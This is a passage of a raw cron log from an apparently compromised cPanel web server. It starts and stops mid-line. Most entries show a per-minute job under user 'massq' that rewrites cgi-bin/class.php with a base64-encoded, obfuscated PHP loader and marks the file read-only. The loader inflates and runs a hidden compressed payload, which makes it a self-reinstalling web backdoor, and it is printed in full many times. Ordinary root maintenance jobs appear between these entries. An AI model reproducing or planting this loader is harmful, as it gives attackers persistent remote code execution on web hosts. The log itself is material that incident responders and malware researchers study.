"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:19:01 server CROND[26261]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:20:01 server CROND[26334]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 16:20:01 server CROND[26336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:20:01 server CROND[26338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:20:01 server CROND[26337]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:20:01 server CROND[26339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:21:01 server CROND[26466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:22:01 server CROND[26589]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:23:01 server CROND[26690]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:24:01 server CROND[26772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:25:01 server CROND[26836]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:25:01 server CROND[26837]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:25:01 server CROND[26838]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  9 16:25:01 server CROND[26839]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:26:01 server CROND[26958]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:27:01 server CROND[27014]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 16:27:01 server CROND[27015]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:28:01 server CROND[27077]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:29:01 server CROND[27146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:30:01 server CROND[27320]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 16:30:01 server CROND[27323]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 16:30:01 server CROND[27324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 16:30:01 server CROND[27325]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 16:30:01 server CROND[27326]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 16:31:01 server CROND[27448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm